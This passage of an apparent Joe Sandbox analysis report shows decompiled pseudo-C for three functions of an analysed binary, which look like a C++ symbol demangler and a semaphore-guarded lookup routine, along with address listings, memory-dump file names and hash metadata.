										__eflags = _t173[5] & 0x00000004;
										if((_t173[5] & 0x00000004) == 0) {
											_t173[6] = _t134;
											_t171 = 0x5c20f6;
											_t135 = 0x3a;
											while(1) {
												__eflags = _t109 - 0xff;
												if(_t109 != 0xff) {
													_t145 = _t109;
													_t109 = _t109 + 1;
													__eflags = _t109;
												} else {
													_t168[0xff] = 0;
													_t173[1] = 0xff;
													_t173[2] = _t168[0x10c];
													 *_t173 = _t168;
													_t168[0x108]();
													_t168[0x128] = _t168[0x128] + 1;
													_t109 = 1;
													_t145 = 0;
												}
												_t171 =  &(_t171[1]);
												_t168[0x100] = _t109;
												_t168[_t145] = _t135;
												_t168[0x104] = _t135;
												__eflags = _t171 - 0x5c20f8;
												if(_t171 == 0x5c20f8) {
													break;
												}
												_t135 =  *_t171 & 0x000000ff;
											}
											_t134 = _t173[6];
											L20:
											_t172 = ( *(_t134 + 4))[3];
											_t111 =  *_t172;
											__eflags = _t111 - 0x46;
											if(_t111 == 0x46) {
												_t112 = _t168[0x100];
												_t136 =  &M005C20FA;
												_t157 = 0x7b;
												while(1) {
													__eflags = _t112 - 0xff;
													if(_t112 != 0xff) {
														_t146 = _t112;
														_t112 = _t112 + 1;
														__eflags = _t112;
													} else {
														_t168[0xff] = 0;
														_t173[6] = _t157;
														_t173[2] = _t168[0x10c];
														_t173[1] = 0xff;
														 *_t173 = _t168;
														_t168[0x108]();
														_t168[0x128] = _t168[0x128] + 1;
														_t112 = 1;
														_t146 = 0;
														_t157 = _t173[6] & 0x000000ff;
													}
													_t168[0x100] = _t112;
													_t168[_t146] = _t157;
													_t168[0x104] = _t157;
													__eflags = _t136 - 0x5c2106;
													if(_t136 == 0x5c2106) {
														break;
													}
													_t157 =  *_t136 & 0x000000ff;
													_t136 = _t136 + 1;
													__eflags = _t136;
												}
												_t137 =  &(_t173[9]);
												_t173[1] = "%d";
												 *_t173 = _t137;
												_t173[2] =  *((intOrPtr*)(_t172 + 0xc)) + 1;
												sprintf(??, ??);
												 *_t173 = _t137;
												_t116 = strlen(??);
												_t158 = _t168[0x100];
												__eflags = _t116;
												if(_t116 == 0) {
													L50:
													_t138 = "}::";
													_t117 = 0x7d;
													while(1) {
														__eflags = _t158 - 0xff;
														if(_t158 != 0xff) {
															_t147 = _t158;
															_t158 = _t158 + 1;
															__eflags = _t158;
														} else {
															_t168[0xff] = 0;
															_t173[6] = _t117;
															_t173[2] = _t168[0x10c];
															_t173[1] = 0xff;
															 *_t173 = _t168;
															_t168[0x108]();
															_t168[0x128] = _t168[0x128] + 1;
															_t158 = 1;
															_t147 = 0;
															_t117 = _t173[6] & 0x000000ff;
														}
														_t168[0x100] = _t158;
														_t138 =  &(_t138[1]);
														_t168[_t147] = _t117;
														_t168[0x104] = _t117;
														__eflags = 0x5c210d - _t138;
														if(0x5c210d == _t138) {
															break;
														}
														_t117 =  *_t138 & 0x000000ff;
													}
													L29:
													_t172 =  *(_t172 + 8);
													_t111 =  *_t172;
													goto L21;
												}
												_t173[7] = _t166;
												_t167 =  &(_t137[_t116]);
												do {
													_t125 =  *_t137 & 0x000000ff;
													__eflags = _t158 - 0xff;
													if(_t158 != 0xff) {
														_t149 = _t158;
														_t158 = _t158 + 1;
														__eflags = _t158;
													} else {
														_t168[0xff] = 0;
														_t173[6] = _t125;
														_t173[2] = _t168[0x10c];
														_t173[1] = 0xff;
														 *_t173 = _t168;
														_t168[0x108]();
														_t168[0x128] = _t168[0x128] + 1;
														_t158 = 1;
														_t149 = 0;
														_t125 = _t173[6] & 0x000000ff;
													}
													_t137 =  &(_t137[1]);
													_t168[0x100] = _t158;
													_t168[_t149] = _t125;
													_t168[0x104] = _t125;
													__eflags = _t167 - _t137;
												} while (_t167 != _t137);
												_t166 = _t173[7];
												goto L50;
											}
											L21:
											__eflags = _t111 - 0x4c;
											if(__eflags == 0) {
												goto L29;
											}
											if(__eflags > 0) {
												__eflags = _t111 - 0x4e - 1;
												if(_t111 - 0x4e > 1) {
													L24:
													_t121 = E00418C70(_t168, _t172, _t173[5]);
													_t168[0x110] = _t166;
													return _t121;
												}
												goto L29;
											}
											__eflags = _t111 - 0x1c - 4;
											if(_t111 - 0x1c <= 4) {
												goto L29;
											}
											goto L24;
										}
										_t162 = _t109 + 1;
										__eflags = _t109 - 0xff;
										if(_t109 == 0xff) {
											_t168[0xff] = 0;
											_t173[1] = 0xff;
											_t173[2] = _t168[0x10c];
											 *_t173 = _t168;
											_t168[0x108]();
											_t168[0x128] = _t168[0x128] + 1;
											_t162 = 1;
											_t109 = 0;
											__eflags = 0;
										}
										_t168[0x100] = _t162;
										_t168[_t109] = 0x2e;
										_t168[0x104] = 0x2e;
										goto L20;
									}
									_t100 = E0041D600(_t168, _t141, _t173[5]);
									_t168[0x110] = _t166;
									goto L8;
								}
							}
						} else {
							__eflags = _t100 - 0x4c;
							if(__eflags == 0) {
								goto L8;
							} else {
								if(__eflags <= 0) {
									__eflags = _t100 - 0x1c - 4;
									if(_t100 - 0x1c <= 4) {
										goto L8;
									} else {
										goto L4;
									}
								} else {
									__eflags = _t100 - 0x4e - 1;
									if(_t100 - 0x4e > 1) {
										goto L4;
									} else {
										goto L8;
									}
								}
							}
						}
					}
				}
			}

0x0041e250
0x0041e257
0x0041e25b
0x0041e261
0x0041e3ba
0x0041e3ba
0x0041e267
0x0041e267
0x0041e26f
0x0041e273
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e2de
0x00000000
0x0041e2d0
0x0041e2d6
0x0041e2d6
0x00000000
0x0041e2de
0x0041e2de
0x0041e2e1
0x0041e2e3
0x0041e2c6
0x0041e2c6
0x0041e2c8
0x0041e2ca
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e2e5
0x0041e2e5
0x0041e2e8
0x0041e2ea
0x0041e2ec
0x0041e288
0x0041e28b
0x0041e291
0x0041e298
0x0041e29e
0x0041e2a1
0x0041e3c1
0x0041e3c4
0x0041e3c9
0x0041e3ce
0x0041e3db
0x0041e2a7
0x0041e2a7
0x0041e2aa
0x0041e3e2
0x0041e3e5
0x0041e3ea
0x0041e3ef
0x0041e3fc
0x0041e2b0
0x0041e2b0
0x0041e2b3
0x0041e30a
0x0041e318
0x0041e323
0x0041e329
0x0041e32e
0x0041e412
0x0041e416
0x0041e41b
0x0041e443
0x0041e443
0x0041e448
0x0041e420
0x0041e422
0x0041e422
0x0041e44a
0x0041e450
0x0041e457
0x0041e45f
0x0041e463
0x0041e466
0x0041e46c
0x0041e473
0x0041e478
0x0041e478
0x0041e425
0x0041e428
0x0041e42e
0x0041e431
0x0041e437
0x0041e43d
0x00000000
0x00000000
0x0041e43f
0x0041e43f
0x0041e47c
0x0041e37f
0x0041e382
0x0041e385
0x0041e388
0x0041e38b
0x0041e485
0x0041e48b
0x0041e490
0x0041e4b9
0x0041e4b9
0x0041e4be
0x0041e497
0x0041e499
0x0041e499
0x0041e4c0
0x0041e4c6
0x0041e4cd
0x0041e4d1
0x0041e4d5
0x0041e4dd
0x0041e4e0
0x0041e4e6
0x0041e4ed
0x0041e4f2
0x0041e4f4
0x0041e4f4
0x0041e49c
0x0041e4a2
0x0041e4a5
0x0041e4ab
0x0041e4b1
0x00000000
0x00000000
0x0041e4b3
0x0041e4b6
0x0041e4b6
0x0041e4b6
0x0041e4fe
0x0041e502
0x0041e50a
0x0041e510
0x0041e514
0x0041e519
0x0041e51c
0x0041e521
0x0041e527
0x0041e529
0x0041e59a
0x0041e59a
0x0041e59f
0x0041e5cd
0x0041e5cd
0x0041e5d3
0x0041e5a6
0x0041e5a8
0x0041e5a8
0x0041e5d5
0x0041e5db
0x0041e5e2
0x0041e5e6
0x0041e5ea
0x0041e5f2
0x0041e5f5
0x0041e5fb
0x0041e602
0x0041e607
0x0041e609
0x0041e609
0x0041e5ab
0x0041e5b1
0x0041e5b4
0x0041e5b7
0x0041e5c2
0x0041e5c4
0x00000000
0x00000000
0x0041e5ca
0x0041e5ca
0x0041e405
0x0041e405
0x0041e408
0x00000000
0x0041e408
0x0041e52d
0x0041e531
0x0041e550
0x0041e550
0x0041e553
0x0041e559
0x0041e535
0x0041e537
0x0041e537
0x0041e55b
0x0041e561
0x0041e568
0x0041e56c
0x0041e570
0x0041e578
0x0041e57b
0x0041e581
0x0041e588
0x0041e58d
0x0041e58f
0x0041e58f
0x0041e53a
0x0041e53d
0x0041e543
0x0041e546
0x0041e54c
0x0041e54c
0x0041e596
0x00000000
0x0041e596
0x0041e391
0x0041e391
0x0041e394
0x00000000
0x00000000
0x0041e396
0x0041e400
0x0041e403
0x0041e3a0
0x0041e3a8
0x0041e3ad
0x00000000
0x0041e3ad
0x00000000
0x0041e403
0x0041e39b
0x0041e39e
0x00000000
0x00000000
0x00000000
0x0041e39e
0x0041e334
0x0041e337
0x0041e33c
0x0041e344
0x0041e34b
0x0041e353
0x0041e357
0x0041e35a
0x0041e360
0x0041e367
0x0041e36c
0x0041e36c
0x0041e36c
0x0041e36e
0x0041e374
0x0041e378
0x00000000
0x0041e378
0x0041e2bb
0x0041e2c0
0x00000000
0x0041e2c0
0x0041e2aa
0x0041e2ee
0x0041e2ee
0x0041e2f1
0x00000000
0x0041e2f3
0x0041e2f3
0x0041e283
0x0041e286
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e2f5
0x0041e2f8
0x0041e2fb
0x00000000
0x0041e2fd
0x00000000
0x0041e2fd
0x0041e2fb
0x0041e2f3
0x0041e2f1
0x0041e2ec
0x0041e2e3

Strings

default arg#, xrefs: 0041E48B
}::, xrefs: 0041E59A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID: default arg#$}::
API String ID: 0-679881875
Opcode ID: 70d7ca594cd428ff9d1222868944176b6b70492e082a36e8871123e549a9bf96
Instruction ID: 18ae5fa8a1ddfc8ed26afdb950318b11a76eb7847110a3bf6261823f6dc752e7
Opcode Fuzzy Hash: 70d7ca594cd428ff9d1222868944176b6b70492e082a36e8871123e549a9bf96
Instruction Fuzzy Hash: 3BB1B5746087418BC325CF29C0847EBBBE1EF95304F14886ED9DA8B342D378A9C5DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00418D05 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 250
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00418D05(signed char* __ebx) {
				signed char* _t161;
				signed int _t162;
				signed char _t169;
				signed char* _t174;
				intOrPtr* _t185;
				int _t188;
				intOrPtr* _t199;
				intOrPtr _t200;
				signed char* _t220;
				signed int _t224;
				intOrPtr* _t226;
				signed char _t235;
				signed char** _t239;
				signed char _t254;
				signed char* _t258;
				intOrPtr _t259;
				signed char* _t263;
				intOrPtr _t264;
				void* _t267;
				signed char** _t269;

				_t220 = __ebx;
				_t222 =  *((intOrPtr*)(_t267 + 8));
				_t161 =  *( *( *((intOrPtr*)(_t267 + 8)) + 8));
				if(_t161[1] == 0x63) {
					_t162 =  *_t161 & 0x000000ff;
					if(_t162 - 0x63 <= 1 || _t162 - 0x72 <= 1) {
						E0041E8B0(_t220, _t222, _t269[6]);
						if(_t220[0x100] == 0xff) {
							_t220[0xff] = 0;
							_t269[1] = 0xff;
							_t269[2] = _t220[0x10c];
							 *_t269 = _t220;
							_t220[0x108]();
							_t220[0x128] = _t220[0x128] + 1;
							_t220[0x100] = 0;
						}
						_t165 = _t220[0x100];
						_t263 = ">(";
						_t66 = _t165 + 1; // 0x1
						_t220[0x100] = _t66;
						_t220[_t220[0x100]] = 0x3c;
						_t220[0x104] = 0x3c;
						E00418C70(_t220,  *((intOrPtr*)( *(_t267 + 0xc) + 8)), _t269[6]);
						_t235 = _t220[0x100];
						do {
							_t224 =  *_t263 & 0x000000ff;
							_t169 = _t235;
							if(_t235 == 0xff) {
								_t220[0xff] = 0;
								_t269[7] = _t224;
								_t269[2] = _t220[0x10c];
								_t269[1] = 0xff;
								 *_t269 = _t220;
								_t220[0x108]();
								_t220[0x128] = _t220[0x128] + 1;
								_t224 = _t269[7] & 0x000000ff;
								_t169 = 0;
							}
							_t83 = _t169 + 1; // 0x1
							_t235 = _t83;
							_t263 =  &(_t263[1]);
							_t220[0x100] = _t235;
							_t220[_t169] = _t224;
							_t220[0x104] = _t224;
						} while (0x5c22b0 != _t263);
						E00418C70(_t220,  *((intOrPtr*)( *(_t267 + 0xc) + 0xc)), _t269[6]);
						if(_t220[0x100] == 0xff) {
							_t220[0xff] = 0;
							_t269[1] = 0xff;
							_t269[2] = _t220[0x10c];
							 *_t269 = _t220;
							_t220[0x108]();
							_t220[0x128] = _t220[0x128] + 1;
							_t220[0x100] = 0;
						}
						_t100 = _t220[0x100] + 1; // 0x1
						_t220[0x100] = _t100;
						_t220[_t220[0x100]] = 0x29;
						_t174 = _t269[0xd];
						_t220[0x104] = 0x29;
						_t106 =  *((intOrPtr*)(_t267 + 4)) - 1; // 0xfe
						_t264 = _t106;
						_t254 = _t220[0x11c] - 1;
						L14:
						_t220[0x12c] = _t174;
						 *((intOrPtr*)(_t267 + 4)) = _t264;
						_t220[0x11c] = _t254;
						return _t174;
					} else {
						goto L1;
					}
				}
				L1:
				 *_t269 = _t267 + 0xc;
				if(E0041EA40(_t220, _t222, _t269[6]) != 0) {
					_t174 = _t269[0xd];
					_t264 =  *((intOrPtr*)(_t267 + 4)) - 1;
					_t254 = _t220[0x11c] - 1;
					goto L14;
				}
				_t185 =  *((intOrPtr*)(_t267 + 8));
				if( *_t185 == 0x31) {
					_t239 =  *(_t185 + 8);
					if(_t239[2] == 1 &&  *(_t239[1]) == 0x3e) {
						if(_t220[0x100] == 0xff) {
							_t220[0xff] = 0;
							_t269[1] = 0xff;
							_t269[2] = _t220[0x10c];
							 *_t269 = _t220;
							_t220[0x108]();
							_t220[0x128] = _t220[0x128] + 1;
							_t220[0x100] = 0;
						}
						_t129 = _t220[0x100] + 1; // 0x1
						_t220[0x100] = _t129;
						_t220[_t220[0x100]] = 0x28;
						_t220[0x104] = 0x28;
						_t185 =  *((intOrPtr*)(_t267 + 8));
					}
				}
				_t269[1] = 0x5c1d16;
				 *_t269 =  *( *(_t185 + 8));
				_t188 = strcmp(??, ??);
				_t226 =  *((intOrPtr*)( *(_t267 + 0xc) + 8));
				if(_t188 != 0 ||  *_t226 != 3) {
					E0041E950(_t220, _t226, _t269[6]);
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(_t226 + 0xc)))) != 0x29) {
						_t220[0x118] = 1;
					}
					E0041E950(_t220,  *((intOrPtr*)(_t226 + 8)), _t269[6]);
				}
				_t266 =  *((intOrPtr*)(_t267 + 8));
				_t258 =  *( *( *((intOrPtr*)(_t267 + 8)) + 8));
				_t269[1] = "ix";
				 *_t269 = _t258;
				if(strcmp(??, ??) != 0) {
					_t269[1] = 0x5c1d16;
					 *_t269 = _t258;
					if(strcmp(??, ??) != 0) {
						E0041E8B0(_t220, _t266, _t269[6]);
					}
					E0041E950(_t220,  *((intOrPtr*)( *(_t267 + 0xc) + 0xc)), _t269[6]);
				} else {
					if(_t220[0x100] == 0xff) {
						_t220[0xff] = 0;
						_t269[1] = 0xff;
						_t269[2] = _t220[0x10c];
						 *_t269 = _t220;
						_t220[0x108]();
						_t220[0x128] = _t220[0x128] + 1;
						_t220[0x100] = 0;
					}
					_t25 = _t220[0x100] + 1; // 0x1
					_t220[0x100] = _t25;
					_t220[_t220[0x100]] = 0x5b;
					_t220[0x104] = 0x5b;
					E00418C70(_t220,  *((intOrPtr*)( *(_t267 + 0xc) + 0xc)), _t269[6]);
					if(_t220[0x100] == 0xff) {
						_t220[0xff] = 0;
						_t269[1] = 0xff;
						_t269[2] = _t220[0x10c];
						 *_t269 = _t220;
						_t220[0x108]();
						_t220[0x128] = _t220[0x128] + 1;
						_t220[0x100] = 0;
					}
					_t42 = _t220[0x100] + 1; // 0x1
					_t220[0x100] = _t42;
					_t220[_t220[0x100]] = 0x5d;
					_t220[0x104] = 0x5d;
				}
				_t199 =  *((intOrPtr*)(_t267 + 8));
				if( *_t199 == 0x31) {
					_t200 =  *((intOrPtr*)(_t199 + 8));
					if( *((intOrPtr*)(_t200 + 8)) != 1 ||  *((char*)( *((intOrPtr*)(_t200 + 4)))) != 0x3e) {
						goto L13;
					} else {
						if(_t220[0x100] == 0xff) {
							_t220[0xff] = 0;
							_t269[1] = 0xff;
							_t269[2] = _t220[0x10c];
							 *_t269 = _t220;
							_t220[0x108]();
							_t220[0x128] = _t220[0x128] + 1;
							_t220[0x100] = 0;
						}
						_t147 = _t220[0x100] + 1; // 0x1
						_t220[0x100] = _t147;
						_t220[_t220[0x100]] = 0x29;
						_t174 = _t269[0xd];
						_t220[0x104] = 0x29;
						_t153 =  *((intOrPtr*)(_t267 + 4)) - 1; // 0xfe
						_t264 = _t153;
						_t254 = _t220[0x11c] - 1;
						goto L14;
					}
				} else {
					L13:
					_t259 =  *((intOrPtr*)(_t267 + 4));
					_t174 = _t269[0xd];
					_t49 = _t259 - 1; // 0xfe
					_t264 = _t49;
					_t254 = _t220[0x11c] - 1;
					goto L14;
				}
			}

0x00418d05
0x00418d05
0x00418d0b
0x00418d11
0x0041c958
0x0041c961
0x0041c974
0x0041c983
0x0041c98b
0x0041c992
0x0041c99a
0x0041c99e
0x0041c9a1
0x0041c9a7
0x0041c9ae
0x0041c9ae
0x0041c9b8
0x0041c9be
0x0041c9c8
0x0041c9cb
0x0041c9d5
0x0041c9d9
0x0041c9e8
0x0041c9ed
0x0041c9f3
0x0041c9f3
0x0041c9f6
0x0041c9fe
0x0041ca06
0x0041ca0d
0x0041ca11
0x0041ca15
0x0041ca1d
0x0041ca20
0x0041ca26
0x0041ca2d
0x0041ca32
0x0041ca32
0x0041ca34
0x0041ca34
0x0041ca37
0x0041ca3a
0x0041ca40
0x0041ca43
0x0041ca49
0x0041ca59
0x0041ca68
0x0041ca70
0x0041ca77
0x0041ca7f
0x0041ca83
0x0041ca86
0x0041ca8c
0x0041ca93
0x0041ca93
0x0041caa3
0x0041caa6
0x0041caac
0x0041cab0
0x0041cab4
0x0041cabe
0x0041cabe
0x0041cac7
0x00418e71
0x00418e71
0x00418e77
0x00418e7a
0x00418e8a
0x00000000
0x00000000
0x00000000
0x0041c961
0x00418d17
0x00418d1e
0x00418d2a
0x0041cbd2
0x0041cbd6
0x0041cbdf
0x00000000
0x0041cbdf
0x00418d30
0x00418d36
0x0041cd33
0x0041cd3a
0x0041cd56
0x0041cd5e
0x0041cd65
0x0041cd6d
0x0041cd71
0x0041cd74
0x0041cd7a
0x0041cd81
0x0041cd81
0x0041cd91
0x0041cd94
0x0041cd9a
0x0041cd9e
0x0041cda5
0x0041cda5
0x0041cd3a
0x00418d3c
0x00418d49
0x00418d4c
0x00418d54
0x00418d59
0x00418d6a
0x0041d14d
0x0041d153
0x0041d155
0x0041d155
0x0041d168
0x0041d168
0x00418d6f
0x00418d75
0x00418d77
0x00418d7f
0x00418d89
0x0041cbe7
0x0041cbef
0x0041cbf9
0x0041d143
0x0041d143
0x0041cc0b
0x00418d8f
0x00418d99
0x00418da1
0x00418da8
0x00418db0
0x00418db4
0x00418db7
0x00418dbd
0x00418dc4
0x00418dc4
0x00418dd4
0x00418dd7
0x00418de1
0x00418de5
0x00418df4
0x00418e03
0x00418e0b
0x00418e12
0x00418e1a
0x00418e1e
0x00418e21
0x00418e27
0x00418e2e
0x00418e2e
0x00418e3e
0x00418e41
0x00418e47
0x00418e4b
0x00418e4b
0x00418e52
0x00418e58
0x0041cfdf
0x0041cfe6
0x00000000
0x0041cff8
0x0041d002
0x0041d00a
0x0041d011
0x0041d019
0x0041d01d
0x0041d020
0x0041d026
0x0041d02d
0x0041d02d
0x0041d03d
0x0041d040
0x0041d046
0x0041d04a
0x0041d04e
0x0041d058
0x0041d058
0x0041d061
0x00000000
0x0041d061
0x00418e5e
0x00418e5e
0x00418e5e
0x00418e61
0x00418e65
0x00418e65
0x00418e6e
0x00000000
0x00418e6e

APIs

strcmp.MSVCRT ref: 00418D4C
strcmp.MSVCRT ref: 00418D82

Strings

), xrefs: 0041D04E

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: strcmp
String ID: )
API String ID: 1004003707-2427484129
Opcode ID: 23ac0dec4844a210cae5eb82b9381d354c5053b3243fd4490f796cfc975edefb
Instruction ID: 6ab7026edf7701e1fa2de3a0d892a63fa72b0353a1487b8d0718bcd925641593
Opcode Fuzzy Hash: 23ac0dec4844a210cae5eb82b9381d354c5053b3243fd4490f796cfc975edefb
Instruction Fuzzy Hash: 78D1D774508242CFCB11CF18C4C47E9BBE1AF55318F1985BAEC884F35AC7B99885DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004245E0 Relevance: 6.2, APIs: 4, Instructions: 166
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E004245E0() {
				void* __edi;
				void* __ebp;
				long _t27;
				long _t36;
				long _t37;
				void* _t46;
				long _t54;
				long _t55;
				long _t56;
				long _t57;
				long _t59;
				intOrPtr _t61;
				signed int _t62;
				long* _t66;
				long _t68;
				long _t69;
				void* _t74;
				intOrPtr* _t76;
				long _t77;
				long _t78;
				long _t80;
				long _t81;
				long _t82;
				void* _t83;
				intOrPtr* _t84;
				long _t88;

				_t84 = _t83 - 0x2c;
				_t27 =  *0x5b89d4; // 0x2
				_t61 =  *((intOrPtr*)(_t84 + 0x40));
				_t76 =  *((intOrPtr*)(_t84 + 0x44));
				if(_t27 != 0) {
					_t56 =  *0x5b89e0; // 0x1
					_t88 = _t56;
					if(_t88 == 0) {
						asm("lock add dword [0x5b89e4], 0x1");
						if(__eflags != 0) {
							_t57 =  *0x5b89e0; // 0x1
							__eflags = _t57;
							if(_t57 == 0) {
								do {
									 *_t84 = 0;
									Sleep(??);
									_t82 =  *0x5b89e0; // 0x1
									_t84 = _t84 - 4;
									__eflags = _t82;
								} while (_t82 == 0);
							}
						} else {
							E004231E0();
							 *0x5b89e0 = 1;
						}
						_t68 =  *0x5b89d4; // 0x2
						__eflags = _t68;
						if(_t68 != 0) {
							goto L2;
						}
					} else {
						L2:
						asm("lock add dword [0x60740c], 0x1");
						if(_t88 != 0) {
							 *(_t84 + 4) = 0xffffffff;
							 *_t84 =  *0x607410;
							_t59 = WaitForSingleObject(??, ??);
							_t84 = _t84 - 8;
							__eflags = _t59;
							if(_t59 != 0) {
								asm("lock sub dword [0x60740c], 0x1");
							}
						}
					}
				}
				_t80 =  *0x607414;
				if(_t80 == 0) {
					goto L8;
				} else {
					if(_t61 <  *_t80) {
						while(1) {
							_t81 =  *(_t80 + 0x14);
							__eflags = _t81;
							if(_t81 == 0) {
								goto L8;
							}
							__eflags =  *_t81 - _t61;
							if( *_t81 <= _t61) {
								goto L24;
							} else {
								continue;
							}
							goto L42;
						}
						goto L8;
					} else {
						L24:
						_t54 = L00423960(_t81, _t61, _t76);
						_t78 = _t54;
						if(_t54 == 0) {
							while(1) {
								L8:
								_t81 =  *0x607418;
								__eflags = _t81;
								if(_t81 == 0) {
									break;
								}
								 *0x607418 =  *(_t81 + 0x14);
								_t78 = L00423960(_t81, _t61, _t76);
								_t36 =  *0x607414;
								__eflags = _t36;
								if(_t36 == 0) {
									L19:
									 *(_t81 + 0x14) = _t36;
									 *0x607414 = _t81;
									__eflags = _t78;
									if(_t78 == 0) {
										continue;
									} else {
										goto L15;
									}
								} else {
									_t74 =  *_t81;
									__eflags = _t74 -  *_t36;
									if(_t74 <=  *_t36) {
										while(1) {
											_t66 = _t36 + 0x14;
											_t36 =  *(_t36 + 0x14);
											__eflags = _t36;
											if(_t36 == 0) {
												break;
											}
											__eflags =  *_t36 - _t74;
											if( *_t36 >= _t74) {
												continue;
											}
											break;
										}
										 *(_t81 + 0x14) = _t36;
										 *_t66 = _t81;
										__eflags = _t78;
										if(_t78 == 0) {
											continue;
										} else {
											L15:
											_t37 =  *0x5b89d4; // 0x2
											__eflags = _t37;
											if(_t37 != 0) {
												goto L22;
											}
											goto L16;
										}
									} else {
										goto L19;
									}
								}
								goto L42;
							}
							_t69 =  *0x5b89d4; // 0x2
							__eflags = _t69;
							if(_t69 != 0) {
								asm("lock xadd [0x60740c], eax");
								__eflags = 0xfffffffffffffffe;
								if(0xfffffffffffffffe < 0) {
									goto L28;
								} else {
									 *((intOrPtr*)(_t84 + 8)) = 0;
									_t77 = 0;
									 *(_t84 + 4) = 1;
									 *_t84 =  *0x607410;
									ReleaseSemaphore(??, ??, ??);
									_t84 = _t84 - 0xc;
								}
							} else {
								L28:
								_t77 = 0;
								__eflags = 0;
							}
							return _t77;
						} else {
							_t55 =  *0x5b89d4; // 0x2
							if(_t55 != 0) {
								L22:
								asm("lock xadd [0x60740c], eax");
								if(0xfffffffffffffffe >= 0) {
									 *((intOrPtr*)(_t84 + 8)) = 0;
									 *(_t84 + 4) = 1;
									 *_t84 =  *0x607410;
									ReleaseSemaphore(??, ??, ??);
									_t84 = _t84 - 0xc;
								}
							}
							L16:
							 *_t76 =  *((intOrPtr*)(_t81 + 4));
							 *((intOrPtr*)(_t76 + 4)) =  *((intOrPtr*)(_t81 + 8));
							if(( *(_t81 + 0x10) & 0x00000004) != 0) {
								_t20 = _t78 + 4; // 0x4
								_t62 = L00423460(_t20 -  *((intOrPtr*)(_t78 + 4))) & 0x000000ff;
							} else {
								_t62 = ( *(_t81 + 0x10) & 0x0000ffff) >> 0x00000003 & 0x000000ff;
							}
							_t46 = L00423270(_t62, _t81);
							_t16 = _t78 + 8; // 0x8
							 *_t84 = _t84 + 0x1c;
							L004232B0(_t62, _t16, _t46);
							 *((intOrPtr*)(_t76 + 8)) =  *((intOrPtr*)(_t84 + 0x1c));
							return _t78;
						}
					}
				}
				L42:
			}

0x004245e4
0x004245e7
0x004245ec
0x004245f0
0x004245f6
0x004245f8
0x004245fd
0x004245ff
0x0042477c
0x00424784
0x004247de
0x004247e9
0x004247eb
0x004247f0
0x004247f0
0x004247f7
0x004247f9
0x004247ff
0x00424802
0x00424802
0x00424806
0x00424786
0x00424786
0x0042478b
0x0042478b
0x00424795
0x0042479b
0x0042479d
0x00000000
0x004247a3
0x00424605
0x00424605
0x00424605
0x0042460d
0x004247b5
0x004247bd
0x004247c0
0x004247c6
0x004247c9
0x004247cb
0x004247d1
0x004247d1
0x004247cb
0x0042460d
0x004245ff
0x00424613
0x0042461b
0x00000000
0x0042461d
0x00424620
0x00424639
0x00424639
0x0042463c
0x0042463e
0x00000000
0x00000000
0x00424630
0x00424633
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00424633
0x00000000
0x00424622
0x00424740
0x00424744
0x00424749
0x0042474d
0x00424640
0x00424640
0x00424640
0x00424646
0x00424648
0x00000000
0x00000000
0x00424653
0x0042465f
0x00424661
0x00424666
0x00424668
0x004246e0
0x004246e5
0x004246e8
0x004246ea
0x004246ec
0x00000000
0x004246f2
0x00000000
0x004246f2
0x0042466a
0x0042466a
0x0042466d
0x0042466f
0x00424677
0x00424677
0x0042467a
0x0042467d
0x0042467f
0x00000000
0x00000000
0x00424673
0x00424675
0x00000000
0x00000000
0x00000000
0x00424675
0x00424681
0x00424684
0x00424686
0x00424688
0x00000000
0x0042468a
0x0042468a
0x0042468a
0x0042468f
0x00424691
0x00000000
0x00000000
0x00000000
0x00424691
0x00424671
0x00000000
0x00424671
0x0042466f
0x00000000
0x00424668
0x00424762
0x00424768
0x0042476a
0x0042480d
0x00424815
0x00424818
0x00000000
0x0042481e
0x00424823
0x0042482b
0x0042482d
0x00424835
0x00424838
0x0042483e
0x0042483e
0x00424770
0x00424770
0x00424770
0x00424770
0x00424770
0x0042477b
0x00424753
0x00424753
0x0042475a
0x00424704
0x00424709
0x00424714
0x0042471f
0x00424727
0x0042472f
0x00424732
0x00424738
0x00424738
0x00424714
0x00424693
